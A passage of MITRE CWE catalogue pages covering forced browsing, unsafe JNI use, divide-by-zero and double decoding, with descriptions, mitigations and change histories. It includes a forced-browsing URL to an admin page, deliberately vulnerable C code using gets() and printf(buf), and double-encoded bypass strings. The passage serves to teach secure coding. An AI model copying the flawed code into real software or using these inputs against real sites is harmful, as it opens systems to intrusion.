Technical Impact: Read Application Data; Modify Application Data; Execute Unauthorized Code or Commands; Gain Privileges or Assume Identity

+ Demonstrative Examples

Example 1

If forced browsing is possible, an attacker may be able to directly access a sensitive page by entering a URL similar to the following.

(attack code)
Example Language: JSP 
http://somesite.com/someapplication/admin.jsp
+ Observed Examples
ReferenceDescription
Access-control setting in web-based document collaboration tool is not properly implemented by the code, which prevents listing hidden directories but does not prevent direct requests to files in those directories.
Python-based HTTP library did not scope cookies to a particular domain such that "supercookies" could be sent to any domain on redirect.
Bypass authentication via direct request.
Infinite loop or infoleak triggered by direct requests.
Bypass auth/auth via direct request.
Direct request leads to infoleak by error.
Direct request leads to infoleak by error.
Direct request leads to infoleak by error.
Authentication bypass via direct request.
Authentication bypass via direct request.
Authorization bypass using direct request.
Access privileged functionality using direct request.
Upload arbitrary files via direct request.
+ Potential Mitigations

Phases: Architecture and Design; Operation

Apply appropriate access control authorizations for each access to all restricted URLs, scripts or files.

Phase: Architecture and Design

Consider using MVC based frameworks such as Struts.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.721OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.723OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.953SFP Secondary Cluster: Missing Endpoint Authentication
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1031OWASP Top Ten 2017 Category A5 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Overlaps Modification of Assumed-Immutable Data (MAID), authorization errors, container errors; often primary to other weaknesses such as XSS and SQL injection.

Theoretical

"Forced browsing" is a step-based manipulation involving the omission of one or more steps, whose order is assumed to be immutable. The application does not verify that the first step was performed successfully before the second step. The consequence is typically "authentication bypass" or "path disclosure," although it can be primary to all kinds of weaknesses, especially in languages such as PHP, which allow external modification of assumed-immutable variables.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERDirect Request aka 'Forced Browsing'
OWASP Top Ten 2007A10CWE More SpecificFailure to Restrict URL Access
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
OWASP Top Ten 2004A2CWE More SpecificBroken Access Control
WASC34Predictable Resource Location
Software Fault PatternsSFP30Missing endpoint authentication
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Relationships, Relationship_Notes, Taxonomy_Mappings, Theoretical_Notes
2008-10-14CWE Content TeamMITRE
updated Description
2010-02-16CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-03-29CWE Content TeamMITRE
updated Applicable_Platforms, Description, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships
2018-03-27CWE Content TeamMITRE
updated Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2021-07-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Observed_Examples, Related_Attack_Patterns
2023-04-27CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-111: Direct Use of Unsafe JNI

Weakness ID: 111
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
When a Java application uses the Java Native Interface (JNI) to call code written in another programming language, it can expose the application to weaknesses in that code, even if those weaknesses cannot occur in Java.
+ Extended Description
Many safety features that programmers may take for granted do not apply for native code, so you must carefully review all such code for potential problems. The languages used to implement native code may be more susceptible to buffer overflows and other attacks. Native code is unprotected by the security features enforced by the runtime environment, such as strong typing and array bounds checking.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.695Use of Low-Level Functionality
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

+ Demonstrative Examples

Example 1

The following code defines a class named Echo. The class declares one native method (defined below), which uses C to echo commands entered on the console back to the user. The following C code defines the native method implemented in the Echo class:

(bad code)
Example Language: Java 
class Echo {

public native void runEcho();
static {

System.loadLibrary("echo");
}
public static void main(String[] args) {

new Echo().runEcho();
}
}
(bad code)
Example Language:
#include <jni.h>
#include "Echo.h"//the java class above compiled with javah
#include <stdio.h>

JNIEXPORT void JNICALL
Java_Echo_runEcho(JNIEnv *env, jobject obj)
{
char buf[64];
gets(buf);
printf(buf);
}

Because the example is implemented in Java, it may appear that it is immune to memory issues like buffer overflow vulnerabilities. Although Java does do a good job of making memory operations safe, this protection does not extend to vulnerabilities occurring in source code written in other languages that are accessed using the Java Native Interface. Despite the memory protections offered in Java, the C code in this example is vulnerable to a buffer overflow because it makes use of gets(), which does not check the length of its input.

The Sun Java(TM) Tutorial provides the following description of JNI [See Reference]: The JNI framework lets your native method utilize Java objects in the same way that Java code uses these objects. A native method can create Java objects, including arrays and strings, and then inspect and use these objects to perform its tasks. A native method can also inspect and use objects created by Java application code. A native method can even update Java objects that it created or that were passed to it, and these updated objects are available to the Java application. Thus, both the native language side and the Java side of an application can create, update, and access Java objects and then share these objects between them.

The vulnerability in the example above could easily be detected through a source code audit of the native method implementation. This may not be practical or possible depending on the availability of the C source code and the way the project is built, but in many cases it may suffice. However, the ability to share objects between Java and native methods expands the potential risk to much more insidious cases where improper data handling in Java may lead to unexpected vulnerabilities in native code or unsafe operations in native code corrupt data structures in Java. Vulnerabilities in native code accessed through a Java application are typically exploited in the same manner as they are in applications written in the native language. The only challenge to such an attack is for the attacker to identify that the Java application uses native code to perform certain operations. This can be accomplished in a variety of ways, including identifying specific behaviors that are often implemented with native code or by exploiting a system information exposure in the Java application that reveals its use of JNI [See Reference].

+ Potential Mitigations

Phase: Implementation

Implement error handling around the JNI call.

Phase: Implementation

Strategy: Refactoring

Do not use JNI calls if you don't trust the native library.

Phase: Implementation

Strategy: Refactoring

Be reluctant to use JNI calls. A Java API equivalent may exist.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.859The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1001SFP Secondary Cluster: Use of an Improper API
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1151SEI CERT Oracle Secure Coding Standard for Java - Guidelines 17. Java Native Interface (JNI)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsUnsafe JNI
The CERT Oracle Secure Coding Standard for Java (2011)SEC08-JDefine wrappers around native methods
SEI CERT Oracle Coding Standard for JavaJNI01-JSafely invoke standard APIs that perform tasks using the immediate caller's class loader instance (loadLibrary)
SEI CERT Oracle Coding Standard for JavaJNI00-JImpreciseDefine wrappers around native methods
Software Fault PatternsSFP3Use of an improper API
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-41] Fortify Software. "Fortify Descriptions". <http://vulncat.fortifysoftware.com>.
[REF-42] Beth Stearns. "The Java(TM) Tutorial: The Java Native Interface". Sun Microsystems. 2005. <http://www.eg.bucknell.edu/~mead/Java-tutorial/native1.1/index.html>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Demonstrative_Example, Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, References, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Description, Other_Notes
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2013-02-21CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, Potential_Mitigations, References
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated References, Relationships, Type
2021-03-15CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Unsafe JNI

CWE-369: Divide By Zero

Weakness ID: 369
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product divides a value by zero.
+ Extended Description
This weakness typically occurs when an unexpected value is provided to the product, or if an error occurs that is not properly detected. It frequently occurs in calculations involving physical dimensions such as size, length, width, and height.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.682Incorrect Calculation
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.189Numeric Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.682Incorrect Calculation
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.682Incorrect Calculation
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.682Incorrect Calculation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Crash, Exit, or Restart

A Divide by Zero results in a crash.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

The following Java example contains a function to compute an average but does not validate that the input value used as the denominator is not zero. This will create an exception for attempting to divide by zero. If this error is not handled by Java exception handling, unexpected results can occur.

(bad code)
Example Language: Java 
public int computeAverageResponseTime (int totalTime, int numRequests) {
return totalTime / numRequests;
}

By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. The following Java code example will validate the input value, output an error message, and throw an exception.

(good code)
 
public int computeAverageResponseTime (int totalTime, int numRequests) throws ArithmeticException {
if (numRequests == 0) {
System.out.println("Division by zero attempted!");
throw ArithmeticException;
}
return totalTime / numRequests;
}

Example 2

The following C/C++ example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.

(bad code)
Example Language:
double divide(double x, double y){
return x/y;
}

By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. If the method is called and a zero is passed as the second argument a DivideByZero error will be thrown and should be caught by the calling block with an output message indicating the error.

(good code)
 
const int DivideByZero = 10;
double divide(double x, double y){
if ( 0 == y ){
throw DivideByZero;
}
return x/y;
}
...
try{
divide(10, 0);
}
catch( int i ){
if(i==DivideByZero) {
cerr<<"Divide by zero error";
}
}
Example 2 References:
[REF-371] Alex Allain. "Handling Errors Exceptionally Well in C++". <https://www.cprogramming.com/tutorial/exceptions.html>. URL validated: 2023-04-07.

Example 3

The following C# example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.

(bad code)
Example Language: C# 
int Division(int x, int y){
return (x / y);
}

The method can be modified to raise, catch and handle the DivideByZeroException if the input value used as the denominator is zero.

(good code)
 
int SafeDivision(int x, int y){
try{
return (x / y);
}
catch (System.DivideByZeroException dbz){
System.Console.WriteLine("Division by zero attempted!");
return 0;
}
}
Example 3 References:
[REF-372] Microsoft. "Exceptions and Exception Handling (C# Programming Guide)". <https://msdn.microsoft.com/pl-pl/library/ms173160(v=vs.100).aspx>.
+ Observed Examples
ReferenceDescription
Invalid size value leads to divide by zero.
"Empty" content triggers divide by zero.
Height value of 0 triggers divide by zero.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.730OWASP Top Ten 2004 Category A9 - Denial of Service
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.738CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.739CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.848The CERT Oracle Secure Coding Standard for Java (2011) Chapter 5 - Numeric Types and Operations (NUM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.872CERT C++ Secure Coding Section 04 - Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.873CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1137SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1158SEI CERT C Coding Standard - Guidelines 04. Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1408Comprehensive Categorization: Incorrect Calculation
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OWASP Top Ten 2004A9CWE More SpecificDenial of Service
CERT C Secure CodingFLP03-CDetect and handle floating point errors
CERT C Secure CodingINT33-CExactEnsure that division and remainder operations do not result in divide-by-zero errors
The CERT Oracle Secure Coding Standard for Java (2011)NUM02-JEnsure that division and modulo operations do not result in divide-by-zero errors
Software Fault PatternsSFP1Glitch in computation
+ References
[REF-371] Alex Allain. "Handling Errors Exceptionally Well in C++". <https://www.cprogramming.com/tutorial/exceptions.html>. URL validated: 2023-04-07.
[REF-372] Microsoft. "Exceptions and Exception Handling (C# Programming Guide)". <https://msdn.microsoft.com/pl-pl/library/ms173160(v=vs.100).aspx>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-04-11
(CWE Draft 9, 2008-04-11)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Description, Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated References
2023-04-27CWE Content TeamMITRE
updated Demonstrative_Examples, Detection_Factors, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-174: Double Decoding of the Same Data

Weakness ID: 174
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product decodes the same input twice, which can limit the effectiveness of any protection mechanism that occurs in between the decoding operations.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.172Encoding Error
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.675Multiple Operations on Resource in Single-Operation Context
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control
Confidentiality
Availability
Integrity
Other

Technical Impact: Bypass Protection Mechanism; Execute Unauthorized Code or Commands; Varies by Context

+ Observed Examples
ReferenceDescription
Forum software improperly URL decodes the highlight parameter when extracting text to highlight, which allows remote attackers to execute arbitrary PHP code by double-encoding the highlight value so that special characters are inserted into the result.
XSS protection mechanism attempts to remove "/" that could be used to close tags, but it can be bypassed using double encoded slashes (%252F)
Directory traversal using double encoding.
"%2527" (double-encoded single quote) used in SQL injection.
Double hex-encoded data.
Browser executes HTML at higher privileges via URL with hostnames that are double hex encoded, which are decoded twice to generate a malicious hostname.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

